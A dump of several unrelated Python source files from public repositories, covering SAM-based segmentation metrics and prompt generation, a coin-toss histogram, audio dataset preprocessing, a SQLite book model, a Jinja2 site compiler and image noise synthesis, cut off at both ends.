j[0] >= 2 and j[3] - j[1] >= 2:\n # rect = patches.Rectangle((j[0], j[1]), j[2], j[3], linewidth=1, edgecolor='r', facecolor='g')\n # else:\n # rect = patches.Rectangle((j[0], j[1]), j[2], j[3], linewidth=1, edgecolor='r', facecolor='r')\n # ax.add_patch(rect)\n # plt.show()\n ious = getIoU(gt_bboxes, bboxes)\n pre_instances = deal_with_bboxes(bboxes, mode=\"detection\")\n\n _evalImgs_cpp, _paramsEval = evaluate(params,ious, gt_instances, pre_instances)\n\n eval_results = accumulate(_evalImgs_cpp, _paramsEval)\n\n summarize(params, eval_results)\n\n print()\n print()\n # data[\"masks\"] = data[\"masks\"] > 0\n # data[\"boxes\"] = batched_mask_to_box(data[\"masks\"])\n # del data[\"masks\"]\n # return data\n\n\ndef eval_bboxes(pred, img_name, threshold, img_size):\n '''\n threshold: a int or a tuple of int\n masks: [b,2,h,w]\n pred: [b,2,h,w]\n '''\n save_csv_path = os.path.join(\"10028_prediction\", \"csv_file\")\n save_vis_picture = os.path.join(\"10028_prediction\", \"vis\")\n if not os.path.exists(save_csv_path):\n os.makedirs(save_csv_path)\n if not os.path.exists(save_vis_picture):\n os.makedirs(save_vis_picture)\n # plt.imshow(pred[0].permute(1, 2, 0).cpu().numpy(), cmap='bone')\n # plt.show()\n # prediction = (pred > th).float().cpu().numpy()\n prediction = pred.cpu().numpy()\n for i in range(prediction.shape[0]):\n arr = np.zeros((256, 256, 3))\n arr[:, :, 0] = prediction[i][0]\n arr[:, :, 1] = prediction[i][0]\n arr[:, :, 2] = prediction[i][0]\n arr = 255 - arr.astype(np.uint8)\n arr_gray = cv2.cvtColor(arr, cv2.COLOR_BGR2GRAY)\n arr_gray = (arr_gray > 200).astype(np.uint8)\n bboxes = mask_find_bboxs(arr_gray)\n bboxes = apply_boxes(bboxes, (256, 256) ,img_size)\n columns = [\"X-Coordinate\", \"Y-Coordinate\", \"Diameter\"]\n title_csv = pd.DataFrame(columns=columns)\n title_csv.to_csv(save_csv_path + \"/\" + img_name +\".csv\", mode=\"a\", index=False, header=1, encoding=\"utf-8\")\n for j in range(len(bboxes)):\n save = pd.DataFrame({\"X-Coordinate\": bboxes[j][0] + bboxes[j][2] / 2,\n \"Y-Coordinate\": bboxes[j][1] + bboxes[j][3] / 2,\n \"Diameter\": [bboxes[j][3] if bboxes[j][2] >= bboxes[j][3] else bboxes[j][2]]})\n save.to_csv(save_csv_path + \"/\" + img_name +\".csv\", mode='a', header=False, index=False)\n ax = plt.axes()\n res = cv2.resize(arr_gray, img_size, interpolation=cv2.INTER_CUBIC)\n plt.imshow(res, cmap='bone')\n for j in bboxes:\n rect = patches.Rectangle((j[0], j[1]), j[2], j[3], linewidth=1, edgecolor='g', fill=False)\n ax.add_patch(rect)\n rect = patches.Rectangle((j[0] + j[2] / 2 - 10, j[1] + j[3] / 2 - 10), 20, 20, linewidth=1, edgecolor='r', fill=True, facecolor= \"r\")\n ax.add_patch(rect)\n # else:\n # rect = patches.Rectangle((j[0], j[1]), j[2], j[3], linewidth=1, edgecolor='r', fill=False)\n # ax.add_patch(rect)\n # plt.show()\n plt.savefig(os.path.join(save_vis_picture, img_name + \".png\"))\n plt.close()\n print()\n print()\n # data[\"masks\"] = data[\"masks\"] > 0\n # data[\"boxes\"] = batched_mask_to_box(data[\"masks\"])\n # del data[\"masks\"]\n # return data\n\ndef data_normal(orign_data):\n d_min = orign_data.min()\n if d_min < 0:\n orign_data += torch.abs(d_min)\n d_min = orign_data.min()\n d_max = orign_data.max()\n dst = d_max - d_min\n norm_data = (orign_data - d_min).true_divide(dst)\n return norm_data\n\ndef eval_seg_N_P(pred, true_mask_p, threshold):\n '''\n threshold: a int or a tuple of int\n masks: [b,2,h,w]\n pred: [b,2,h,w]\n '''\n b, c, h, w = pred.size()\n eiou, edice = 0, 0\n # pred = torch.nn.functional.normalize(pred)\n # pred = data_normal(pred) # 归一化到【0,1】\n pred = torch.sigmoid(pred) # 归一化到【0,1】\n for th in threshold:\n gt_vmask_p = (true_mask_p >= th).float()\n gt_vmask_n = (true_mask_p < th).float()\n vpred_p = (pred >= th).float()\n vpred_n = (pred < th).float()\n\n dice3_pred = pred\n dice3_pred[dice3_pred < th] = 0\n\n vpred_p_cpu = vpred_p.cpu()\n disc_pred_p = vpred_p_cpu[:, 0, :, :].numpy().astype('int32')\n disc_mask_p = gt_vmask_p[:, 0, :, :].squeeze(1).cpu().numpy().astype('int32')\n\n '''iou for numpy'''\n eiou += iou(disc_pred_p, disc_mask_p)\n\n '''dice for torch'''\n # 以下都是在pred归一化后计算的\n dice1 = dice_coeff(vpred_p[:, 0, :, :], gt_vmask_p[:, 0, :, :]).item() # 原dice\n dice2 = dice_coeff_N_P(vpred_p[:, 0, :, :], gt_vmask_p[:, 0, :, :], # 按照像素true 和 false ,比例算dice(不可用,超过1)\n vpred_n[:, 0, :, :], gt_vmask_n[:, 0, :, :]) .item()\n dice3_1 = dice_coeff(dice3_pred[:, 0, :, :], true_mask_p[:, 0, :, :]).item() # 直接用pred值筛选后,计算dice\n # dice3 = dice_coeff_N_P_dice3(dice3_pred[:, 0, :, :], true_mask_p[:, 0, :, :]).item() # 直接用pred值筛选后,计算dice ,和dice3一样,方法不同,可以删掉\n dice2and3 = dice_coeff_N_P_2and3(vpred_p[:, 0, :, :], gt_vmask_p[:, 0, :, :], # N和P的像素 ,比例算dice\n vpred_n[:, 0, :, :], gt_vmask_n[:, 0, :, :]) .item()\n edice += dice1\n # print(\"p: \",dice1, \"p_n: \",dice2, \"dice3_1\", dice3_1,\"dice2and3\",dice2and3)\n\n return eiou / len(threshold), edice / len(threshold)\n\n# @objectives.wrap_objective()\ndef dot_compare(layer, batch=1, cossim_pow=0):\n def inner(T):\n dot = (T(layer)[batch] * T(layer)[0]).sum()\n mag = torch.sqrt(torch.sum(T(layer)[0]**2))\n cossim = dot/(1e-6 + mag)\n return -dot * cossim ** cossim_pow\n return inner\n\ndef init_D(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n nn.init.normal_(m.weight.data, 0.0, 0.02)\n elif classname.find('BatchNorm') != -1:\n nn.init.normal_(m.weight.data, 1.0, 0.02)\n nn.init.constant_(m.bias.data, 0)\n\ndef pre_d():\n netD = Discriminator(3).to(device)\n # netD.apply(init_D)\n beta1 = 0.5\n dis_lr = 0.00002\n optimizerD = optim.Adam(netD.parameters(), lr=dis_lr, betas=(beta1, 0.999))\n return netD, optimizerD\n\ndef update_d(args, netD, optimizerD, real, fake):\n criterion = nn.BCELoss()\n\n label = torch.full((args.b,), 1., dtype=torch.float, device=device)\n output = netD(real).view(-1)\n # Calculate loss on all-real batch\n errD_real = criterion(output, label)\n # Calculate gradients for D in backward pass\n errD_real.backward()\n D_x = output.mean().item()\n\n label.fill_(0.)\n # Classify all fake batch with D\n output = netD(fake.detach()).view(-1)\n # Calculate D's loss on the all-fake batch\n errD_fake = criterion(output, label)\n # Calculate the gradients for this batch, accumulated (summed) with previous gradients\n errD_fake.backward()\n D_G_z1 = output.mean().item()\n # Compute error of D as sum over the fake and the real batches\n errD = errD_real + errD_fake\n # Update D\n optimizerD.step()\n\n return errD, D_x, D_G_z1\n\ndef calculate_gradient_penalty(netD, real_images, fake_images):\n eta = torch.FloatTensor(args.b,1,1,1).uniform_(0,1)\n eta = eta.expand(args.b, real_images.size(1), real_images.size(2), real_images.size(3)).to(device = device)\n\n interpolated = (eta * real_images + ((1 - eta) * fake_images)).to(device = device)\n\n # define it to calculate gradient\n interpolated = Variable(interpolated, requires_grad=True)\n\n # calculate probability of interpolated examples\n prob_interpolated = netD(interpolated)\n\n # calculate gradients of probabilities with respect to examples\n gradients = autograd.grad(outputs=prob_interpolated, inputs=interpolated,\n grad_outputs=torch.ones(\n prob_interpolated.size()).to(device = device),\n create_graph=True, retain_graph=True)[0]\n\n grad_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * 10\n return grad_penalty\n\n\ndef random_click(mask, point_labels = 1, inout = 1):\n indices = np.argwhere(mask == inout) # 所有label像素\n return indices[np.random.randint(len(indices))] # 随机生成一个像素坐标\n\n\ndef generate_click_prompt(img, msk, pt_label = 1):\n # return: prompt, prompt mask\n pt_list = []\n msk_list = []\n b, c, h, w, d = msk.size()\n msk = msk[:,0,:,:,:]\n for i in range(d):\n pt_list_s = []\n msk_list_s = []\n for j in range(b):\n msk_s = msk[j,:,:,i]\n indices = torch.nonzero(msk_s)\n if indices.size(0) == 0:\n # generate a random array between [0-h, 0-h]:\n random_index = torch.randint(0, h, (2,)).to(device = msk.device)\n new_s = msk_s\n else:\n random_index = random.choice(indices)\n label = msk_s[random_index[0], random_index[1]]\n new_s = torch.zeros_like(msk_s)\n # convert bool tensor to int\n new_s = (msk_s == label).to(dtype = torch.float)\n # new_s[msk_s == label] = 1\n pt_list_s.append(random_index)\n msk_list_s.append(new_s)\n pts = torch.stack(pt_list_s, dim=0)\n msks = torch.stack(msk_list_s, dim=0)\n pt_list.append(pts)\n msk_list.append(msks)\n pt = torch.stack(pt_list, dim=-1)\n msk = torch.stack(msk_list, dim=-1)\n\n msk = msk.unsqueeze(1)\n\n return img, pt, msk #[b, 2, d], [b, c, h, w, d]\n\n\n\n","repo_name":"yangyang-69/Prompt_sam_cryoPPP","sub_path":"notebooks/SAM_conf/SAM_utils.py","file_name":"SAM_utils.py","file_ext":"py","file_size_in_byte":67542,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"11829019634","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nnp.random.seed(123)\nfinal_tails = []\n\nfor x in range(10000):\n tails = [0]\n for x in range(10):\n coin = np.random.randint(0,2)\n tails.append(tails[x] + coin)\n final_tails.append(tails[-1])\n\n#print(final_tails) # No.of tails thrown in a game of 10 tosses.\n\n# matplotlib (histogram)\nplt.hist(final_tails, bins = 10)\nplt.show()\n","repo_name":"chinmairam/Python","sub_path":"numpy14_coindistb.py","file_name":"numpy14_coindistb.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"32117147583","text":"import librosa\nimport soundfile\nimport pandas as pd\nimport logging\n\nfrom tqdm import tqdm\nfrom pathlib import Path\n\n\nclass DataPreprocess:\n \"\"\"\n Preprocesses data from DESED and ESC-50 into train and test data from multilabel classiftication (audio tagging)\n \"\"\"\n\n def __init__(self,\n sr: int,\n max_length: float,\n classes_mapping: dict,\n path_to_esc_audio='data/ESC-50-master/audio',\n path_to_desed_audio='data/DESED/dataset/audio/eval/public',\n esc_df_path='data/ESC-50-master/meta/esc50.csv',\n desed_df_path='data/DESED/dataset/metadata/eval/public.tsv'\n ) -> None:\n \"\"\"\n\n Args:\n sr: samplerate of audio files\n max_length: maximum duration of audio files to split into\n classes_mapping: mapping of classes from one dataset to another (DESED - ESC)\n path_to_esc_audio: path to ESC audio folder\n path_to_desed_audio: path to DESED audio folder\n esc_df_path: path to ESC csv metadata\n desed_df_path: path to DESED csv metadata\n \"\"\"\n self.sr = sr\n self.max_length = max_length\n self.path_to_esc_audio = Path(path_to_esc_audio).absolute()\n self.path_to_desed_audio = Path(path_to_desed_audio).absolute()\n self.esc_df = pd.read_csv(Path(esc_df_path).absolute())\n self.desed_df = pd.read_csv(Path(desed_df_path).absolute(), sep='\\t')\n self.classes_mapping = classes_mapping\n\n def get_test_data(self, path_to_test_data='data/test') -> None:\n \"\"\"\n Splits 10 second audio files from DESED dataset into 1 sec files with multiple (if needed) tags\n Args:\n path_to_test_data: path to store test audio and metadata\n\n Returns: None\n\n \"\"\"\n path_to_test_audio = Path(path_to_test_data).absolute() / 'audio'\n path_to_test_csv = Path(path_to_test_data).absolute() / 'meta'\n\n path_to_test_audio.mkdir(exist_ok=True, parents=True)\n path_to_test_csv.mkdir(exist_ok=True, parents=True)\n\n labels = []\n files = []\n\n self.desed_df = self.desed_df[self.desed_df['event_label'].isin(self.classes_mapping.keys())]\n self.desed_df['event_label'] = self.desed_df['event_label'].apply(lambda x: self.classes_mapping[x])\n\n self.desed_df.sort_values(by=['filename', 'onset'], inplace=True)\n self.desed_df.reset_index(inplace=True, drop=True)\n\n logging.info('Starting to build test dataset from DESED')\n multilabel_flag = False\n for i in tqdm(range(len(self.desed_df) - 1)):\n filename = self.desed_df['filename'][i]\n onset = self.desed_df['onset'][i]\n label = self.desed_df['event_label'][i]\n offset = self.desed_df['offset'][i]\n\n if multilabel_flag:\n label = label + ',' + label_mem\n multilabel_flag = False\n\n while onset < offset: # loop for cases when there is one class for more than 1 sec\n\n if self.desed_df['filename'][i + 1] == filename and onset + 1 < self.desed_df['onset'][i + 1] and \\\n self.desed_df['event_label'][i + 1] != label:\n multilabel_flag = True # flag to make the next line multilabel as well\n label_mem = label\n label = label + ',' + self.desed_df['event_label'][i + 1] # check for multilabel\n\n if offset - onset < self.max_length:\n duration = offset - onset # check for the shorter duration parts\n else:\n duration = self.max_length\n\n audio, _ = librosa.load(self.path_to_desed_audio / filename, offset=onset, sr=self.sr,\n duration=duration)\n\n if audio.shape[0] < self.sr: # padd for shorter duration audio\n audio = librosa.util.fix_length(audio, size=self.sr)\n\n new_filename = (str(onset) + filename)\n\n soundfile.write(path_to_test_audio / new_filename, audio, samplerate=self.sr)\n onset += 1\n files.append(new_filename)\n labels.append(label)\n\n test_meta = pd.DataFrame({'filename': files, 'labels': labels})\n test_meta = self.get_one_hot_encoding(test_meta)\n test_meta.to_csv(path_to_test_csv / 'test.csv', index=False)\n\n def get_train_data(self, path_to_train_data='data/train') -> None:\n \"\"\"\n Splits 5 second audio files from ESC-50 with relevant classes into 1 sec files\n Args:\n path_to_train_data: folder to store train data\n\n Returns: None\n\n \"\"\"\n path_to_train_audio = Path(path_to_train_data).absolute() / 'audio'\n path_to_train_csv = Path(path_to_train_data).absolute() / 'meta'\n\n path_to_train_audio.mkdir(exist_ok=True, parents=True)\n path_to_train_csv.mkdir(exist_ok=True, parents=True)\n\n self.esc_df = self.esc_df[self.esc_df['category'].isin(self.classes_mapping.values())]\n self.esc_df.sort_values(by='filename', inplace=True)\n self.esc_df.reset_index(inplace=True, drop=True)\n\n logging.info('Starting to build train dataset from ESC-50')\n\n files, labels = self.get_oversampling(path_to_train_audio)\n\n train_meta = pd.DataFrame({'filename': files, 'labels': labels})\n train_meta = self.get_one_hot_encoding(train_meta)\n train_meta.to_csv(path_to_train_csv / 'train.csv', index=False)\n\n def get_one_hot_encoding(self, df: pd.DataFrame):\n \"\"\"\n Makes one hot encodings for labels in dataframe\n Args:\n df: dataframe with filenames and labels\n\n Returns: dataframe with one hot encodings\n\n \"\"\"\n df['labels'] = df['labels'].apply(lambda x: self.fix_dups(x))\n unique_labels = df['labels'].unique()\n true_unique_labels = []\n for labels in unique_labels:\n for label in labels.split(','):\n if label not in true_unique_labels:\n true_unique_labels.append(label)\n\n for label in true_unique_labels:\n df[label] = [0 for i in range(len(df))]\n\n for i in range(len(df)):\n labels = df['labels'][i]\n for label in labels.split(','):\n df[label][i] = 1\n df.drop('labels', inplace=True, axis=1)\n df.reset_index(inplace=True, drop=True)\n return df\n\n @staticmethod\n def fix_dups(string: str):\n \"\"\"\n Fixes dup bugs in labels in final DF (like 'cat, cat, dog')\n Args:\n string: string with labels\n\n Returns: fixed string\n\n \"\"\"\n values = string.split(',')\n values = sorted(list(set(values)))\n values = ','.join(values)\n return values\n\n def get_oversampling(self, path_to_train_audio, oversampling_ratio=10):\n \"\"\"\n Oversamples the train data by setting offset in the audio so we get 1 sec audio like this:\n file1 = 0:1 sec\n file2 = 0.1:1.1 sec\n etc\n\n Args:\n path_to_train_audio: folder with audiofiles\n oversampling_ratio: how many new samples we want, atm works with only 10\n\n Returns: filenames and targets\n\n \"\"\"\n files = []\n labels = []\n for i in tqdm(range(len(self.esc_df))):\n filename = self.esc_df['filename'][i]\n label = self.esc_df['category'][i]\n\n for j in range(oversampling_ratio):\n\n audio, _ = librosa.load(self.path_to_esc_audio / filename, sr=self.sr, offset=j*0.1)\n audio_length = int(audio.shape[0] // self.sr)\n\n audio_part_start = 0\n for k in range(audio_length):\n new_filename = str(k) + str(j) + filename\n audio_part_end = (self.sr * (k + 1))\n audio_part = audio[audio_part_start:audio_part_end]\n\n if audio_part_end - audio_part_start != self.sr:\n logging.debug('Something is wrong with audio length in oversampling')\n\n soundfile.write(path_to_train_audio / new_filename, audio_part, samplerate=self.sr)\n audio_part_start = audio_part_end\n\n files.append(new_filename)\n labels.append(label)\n return files, labels\n","repo_name":"BratchenkoPS/SoundEventDetection","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":8474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"19563105964","text":"import sqlite3\nfrom typing import List\n\nDATA = [\n {'title': 'A Byte of Python', 'author': 'Swaroop C. H.', 'views': 0},\n {'title': 'Moby-Dick; or, The Whale', 'author': 'Herman Melville', 'views': 0},\n {'title': 'War and Peace', 'author': 'Leo Tolstoy', 'views': 0},\n]\n\n\nclass Book:\n\n def __init__(self, title: str, author: str, id: int = 0, views: int = 0):\n self.id = id\n self.title = title\n self.author = author\n self.views = views\n\n def __getitem__(self, item):\n return getattr(self, item)\n\n\ndef init_db(initial_records: List[dict]):\n with sqlite3.connect('table_books.db') as conn:\n cursor = conn.cursor()\n cursor.execute(\n \"SELECT name FROM sqlite_master \"\n \"WHERE type='table' AND name='table_books';\"\n )\n exists = cursor.fetchone()\n # now in `exist` we have tuple with table name if table really exists in DB\n if not exists:\n cursor.executescript(\n 'CREATE TABLE `table_books`'\n '(id INTEGER PRIMARY KEY AUTOINCREMENT, title, author, views)'\n )\n cursor.executemany(\n 'INSERT INTO `table_books` '\n '(title, author, views) VALUES (?, ?, ?)',\n [(item['title'], item['author'], item['views']) for item in initial_records]\n )\n\n\ndef books_count():\n with sqlite3.connect('table_books.db') as conn:\n cursor = conn.cursor()\n cursor.execute('SELECT COUNT (*) from `table_books`')\n total_count, *_ = cursor.fetchone()\n return total_count\n\n\ndef get_all_books() -> List[Book]:\n books_list = []\n with sqlite3.connect('table_books.db') as conn:\n cursor = conn.cursor()\n cursor.execute('SELECT * from `table_books`')\n all_books = cursor.fetchall()\n for book in all_books:\n cursor.execute(increase_book_views(), (book[3] + 1, book[0]))\n books_list.append(Book(book[1], book[2], book[0], book[3]))\n return books_list\n\n\ndef add_book_func(form) -> tuple:\n new_book = Book(form.data['title'], form.data['author'])\n added = False\n with sqlite3.connect('table_books.db') as conn:\n cursor = conn.cursor()\n cursor.execute('SELECT COUNT (*) from `table_books` '\n 'WHERE title = ? and author = ?',\n (form.data['title'], form.data['author']))\n count, *_ = cursor.fetchone()\n if count == 0:\n cursor.execute(\n 'INSERT INTO `table_books` '\n '(title, author, views) VALUES (?, ?, ?)',\n (form.data['title'], form.data['author'], new_book.views)\n )\n added = True\n return new_book, added\n\n\ndef searching_books_by_author(form) -> tuple:\n author = form.data['author']\n with sqlite3.connect('table_books.db') as conn:\n cursor = conn.cursor()\n cursor.execute('SELECT * from `table_books` '\n 'WHERE author = ?',\n (author,))\n result = cursor.fetchall()\n for book in result:\n cursor.execute(increase_book_views(), (book[3] + 1, book[0]))\n return author, result\n\n\ndef increase_book_views() -> str:\n sql_update_book_views = \"\"\"\n UPDATE 'table_books'\n SET views = ?\n WHERE id = ?\n \"\"\"\n return sql_update_book_views\n","repo_name":"MikePolynin/python_advanced","sub_path":"module_14_mvc_01/materials/mvc_with_flask/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"37555628179","text":"from collections import defaultdict\nimport errno\nimport json\nimport os\nimport time\n\nimport jinja2\n\nfrom base import BaseScript\n\nTEMPLATE_DIRNAME = \"templates\"\nWEBSITE_DIRNAME = \"website\"\nPUBLIC_DIRNAME = \"public\"\nPAGES_DIRNAME = \"pages\"\n\nCONFIG_FILENAME = \"config.json\"\n\n# list of `relative_html_filepath`s that we should also render a .html for\nRENDER_HTML_EXTENSION = {\"index\"}\n\nOMITTED_TEMPLATES = {\n # (relative_file_dir, file_path)\n}\n\n\nclass CompileHTML(BaseScript):\n aws_enabled = False\n\n def __init__(self):\n super(CompileHTML, self).__init__()\n self.website_dir = os.path.join(self.root, WEBSITE_DIRNAME)\n self.public_dir = os.path.join(self.website_dir, PUBLIC_DIRNAME)\n self.template_dir = os.path.join(self.website_dir, TEMPLATE_DIRNAME)\n self.pages_dir = os.path.join(self.template_dir, PAGES_DIRNAME)\n\n self.modification_times = {}\n\n self.template_env = self._init_template_env()\n\n def _load_config(self):\n config_file = os.path.join(self.website_dir, CONFIG_FILENAME)\n with open(config_file, \"r\") as f:\n config = json.load(f)\n return config\n\n def _init_template_env(self):\n template_loader = jinja2.FileSystemLoader(self.template_dir)\n template_env = jinja2.Environment(loader=template_loader)\n return template_env\n\n def _render_html(self, relative_path, template_filename, output_directory, context):\n html_filename = template_filename.replace(\".jinja2\", \"\")\n\n template_filepath = os.path.join(\n \"./pages\", os.path.join(relative_path, template_filename)\n )\n page_content = self.template_env.get_template(template_filepath).render(context)\n\n relative_html_filepath = os.path.join(relative_path, html_filename)\n html_filepath = os.path.join(self.public_dir, relative_html_filepath)\n with open(html_filepath, \"w\") as html_file:\n html_file.write(page_content)\n\n if relative_html_filepath in RENDER_HTML_EXTENSION:\n with open(f\"{html_filepath}.html\", \"w\") as html_file:\n html_file.write(page_content)\n\n def _find_template_path_by_directory(self):\n template_path_by_directory = defaultdict(list)\n for dir_name, _, file_list in os.walk(self.pages_dir):\n for fname in [\n fname for fname in file_list if os.path.splitext(fname)[1] == \".jinja2\"\n ]:\n file_path = os.path.join(dir_name, fname)\n\n # Find the directory structure the file lives in beyond the pages directory\n relative_file_dir = os.path.split(\n os.path.relpath(file_path, self.pages_dir)\n )[0]\n if (relative_file_dir, fname) not in OMITTED_TEMPLATES:\n template_path_by_directory[relative_file_dir].append(file_path)\n\n return template_path_by_directory\n\n def _generate_output_directory_structure(self, relative_directories):\n for relative_directory in relative_directories:\n os.makedirs(\n os.path.join(self.public_dir, relative_directory), exist_ok=True\n )\n\n def _get_context(self):\n config = self._load_config()\n return config\n\n def render_all(self):\n template_path_by_directory = self._find_template_path_by_directory()\n self._generate_output_directory_structure(template_path_by_directory.keys())\n\n context = self._get_context()\n\n for relative_directory, filepaths in template_path_by_directory.items():\n output_directory = os.path.join(self.public_dir, relative_directory)\n for filepath in filepaths:\n filename = os.path.basename(filepath)\n self._render_html(\n relative_directory, filename, output_directory, context\n )\n\n def _run(self):\n self.render_all()\n\n\nif __name__ == \"__main__\":\n CompileHTML().run()\n","repo_name":"andrewseaman35/aseaman","sub_path":"scripts/compile_html.py","file_name":"compile_html.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72102603876","text":"import os.path as pth\nimport math\nimport numpy as np\nimport cv2\nfrom sklearn.decomposition import PCA\nfrom numpy.fft import fft2\nimport matplotlib.pyplot as plt\n\nfrom noise.kernels import masked_variance, gaussian_filter_with_mask\nfrom noise.kernels import estimate_local_psd, compute_valid_samples, random_phase_noise_mosaic, match_histograms\nfrom noise.gabor.gabor import gabor_approximation\nfrom noise.procedures import Noise, NoiseColored, HistogramMatching, ProceduralMaps\nfrom matting.patchmatch import inpaint as patchmatch_inpainting\nfrom utils import shift_image, save_image, Normalizer, Timer\n\n\nclass LocalSpectrum:\n def __init__(self, image, windowsize, windowtype='p'):\n self.image = image\n self.windowsize = windowsize\n if windowtype in ['g', 'h', 'p']:\n self.windowtype = windowtype\n else:\n raise NotImplementedError(f'Unknown window type: {windowtype}')\n\n width, height = self.image.shape\n self.spectrum = [None]*width\n self.welch_spectrum = [None]*width\n for i in range(width):\n self.spectrum[i] = [None]*height\n self.welch_spectrum[i] = [None]*height\n\n self.spectrum_array = None\n self.local_guidance_map = None\n\n def compute_local_spectrum(self):\n timer = Timer()\n timer.begin()\n\n # compute local spectrum\n width, height = self.image.shape\n left_bnd = -(self.windowsize - 1) // 2\n right_bnd = self.windowsize // 2\n W = np.zeros((self.windowsize, self.windowsize))\n\n print(f'local spectrum window: ({left_bnd}, {right_bnd})')\n for y in range(left_bnd, right_bnd):\n for x in range(left_bnd, right_bnd):\n if self.windowtype == 'g': # Gaussian\n W[x - left_bnd, y - left_bnd] = LocalSpectrum.g_non_norm(x, y, self.windowsize / 3)\n elif self.windowsize == 'h': # hamming\n W[x - left_bnd, y - left_bnd] = LocalSpectrum.hamming(x, y, self.windowsize)\n else: # porte\n W[x - left_bnd, y - left_bnd] = 1\n\n for i in range(width):\n for j in range(height):\n ic = max(min(i, width - right_bnd), -left_bnd)\n jc = max(min(j, height - right_bnd), -left_bnd)\n\n assert (0 <= ic + left_bnd <= width)\n assert (0 <= ic + right_bnd <= width)\n assert (0 <= jc + left_bnd <= height)\n assert (0 <= jc + right_bnd <= height)\n\n sub_image = self.image[ic + left_bnd:ic + right_bnd, jc + left_bnd:jc + right_bnd].copy()\n sub_image *= W\n\n sub_image_fft = fft2(sub_image)\n self.spectrum[i][j] = np.abs(sub_image_fft) / sub_image.size # normalized spectrum\n\n timer.end('Local spectrum computation complete in')\n\n def run_welch_algorithm(self, welch_windowsize, welch_step):\n timer = Timer()\n timer.begin()\n\n width, height = self.image.shape\n welch_left_bnd = -(welch_windowsize - 1) // 2\n welch_right_bnd = welch_windowsize // 2\n welch_x = np.arange(welch_left_bnd, welch_right_bnd, welch_step)\n\n print(f'Welch spectrum window: ({welch_left_bnd}, {welch_right_bnd}) with step {welch_step}')\n print(f'Totally {len(welch_x)} samples: {welch_x}')\n\n welch_grid_x, welch_grid_y = np.meshgrid(welch_x, welch_x)\n welch_grid_x = welch_grid_x.flatten()\n welch_grid_y = welch_grid_y.flatten()\n welch_grid_size = welch_grid_x.shape[0]\n\n for i in range(width):\n for j in range(height):\n welch_spectrum = np.zeros((self.windowsize, self.windowsize))\n isums = np.clip(i + welch_grid_x, a_min=0, a_max=width - 1)\n jsums = np.clip(j + welch_grid_y, a_min=0, a_max=height - 1)\n\n for isum, jsum in np.nditer([isums, jsums]):\n welch_spectrum += np.square(self.spectrum[isum][jsum]) # sqr(amp)->SPD\n\n welch_spectrum = np.sqrt(welch_spectrum / welch_grid_size)\n self.welch_spectrum[i][j] = welch_spectrum\n\n self.spectrum = np.asarray(self.spectrum)\n self.welch_spectrum = np.asarray(self.welch_spectrum)\n self.spectrum_array = self.welch_spectrum.reshape((width*height, self.windowsize*self.windowsize))\n\n timer.end('Welch algorithm complete in')\n\n @staticmethod\n def g_non_norm(x, y, sigma):\n return math.exp(-(x * x + y * y) / (2 * sigma * sigma))\n\n @staticmethod\n def hamming(x, y, windowsize):\n coef = (2 * math.pi) / (windowsize - 1)\n rx, ry = 0, 0\n if abs(x) < windowsize / 2:\n rx = 0.54 + 0.46 * math.cos(coef * x)\n if abs(y) < windowsize / 2:\n ry = 0.54 + 0.46 * math.cos(coef * y)\n return rx * ry\n\n\ndef noise_synthesis(input_noise, mask, T, threshold, step, min_num_samples, dT=8, dstep=1):\n assert (input_noise.ndim == 2 and mask.dtype == np.bool)\n width, height = input_noise.shape\n if T == 0:\n T = min(width, height)\n\n print(f'Initial T= {T}, step = {step}')\n T_optimal, step_optimal = find_T_step(mask, T, threshold, step, dT=dT, dstep=dstep, min_num_samples=min_num_samples)\n # T_optimal, step_optimal = find_T_step_v1(mask, T, threshold, step, dT=dT, dstep=dstep, min_num_samples=min_num_samples)\n print(f'Optimal T= {T_optimal}, step = {step_optimal}')\n\n input_image = mean_inpainting(input_noise, mask)\n\n psd = estimate_local_psd(input_image, mask, T=T_optimal, threshold=threshold, step=step_optimal)\n noise = random_phase_noise_mosaic(psd, (width, height), alpha=0.05)\n\n return noise, Noise(psd)\n\n\ndef noise_synthesis_pca(input_noise, mask, T, threshold, step, min_num_samples, dT=8, dstep=1):\n assert(input_noise.ndim == 3 and mask.dtype == np.bool)\n width, height, nc = input_noise.shape\n if T == 0:\n T = min(width, height)\n\n masked_image = input_noise[mask]\n model = PCA(n_components=nc)\n masked_img_pca = model.fit_transform(masked_image)\n\n input_image = np.zeros((width, height, nc))\n input_image[:] = np.average(masked_img_pca, axis=0) # should always be zero because of PCA decomposition\n input_image[mask] = masked_img_pca\n\n normalizer = Normalizer(input_image)\n input_image = normalizer.normalize(input_image)\n\n print(f'Initial T= {T}, step = {step}')\n T_optimal, step_optimal = find_T_step(mask, T, threshold, step, dT=dT, dstep=dstep, min_num_samples=min_num_samples)\n # T_optimal, step_optimal = find_T_step_v1(mask, T, threshold, step, dT=dT, dstep=dstep, min_num_samples=min_num_samples)\n print(f'Optimal T= {T_optimal}, step = {step_optimal}')\n\n noise_pca = []\n psds = []\n for idx_ch in range(nc):\n psd = estimate_local_psd(input_image[:, :, idx_ch], mask, T=T_optimal, threshold=threshold, step=step_optimal)\n noise_pca_per_chan = random_phase_noise_mosaic(psd, (width, height), alpha=0.05)\n noise_pca.append(noise_pca_per_chan)\n psds.append(psd)\n\n noise_pca = np.stack(noise_pca, axis=2)\n noise_pca = normalizer.denormalize(noise_pca)\n noise = model.inverse_transform(noise_pca.reshape((-1, nc))).reshape((width, height, nc))\n\n return noise, NoiseColored(psds, model, normalizer)\n\n\ndef noise_synthesis_with_hole_filling(input_noise, mask, method, gabor, args=None):\n assert(input_noise.ndim == 2 and mask.dtype == np.bool)\n assert method in ['patchmatch', 'opencv', 'mean']\n\n width, height = input_noise.shape\n T = min(width, height)\n\n 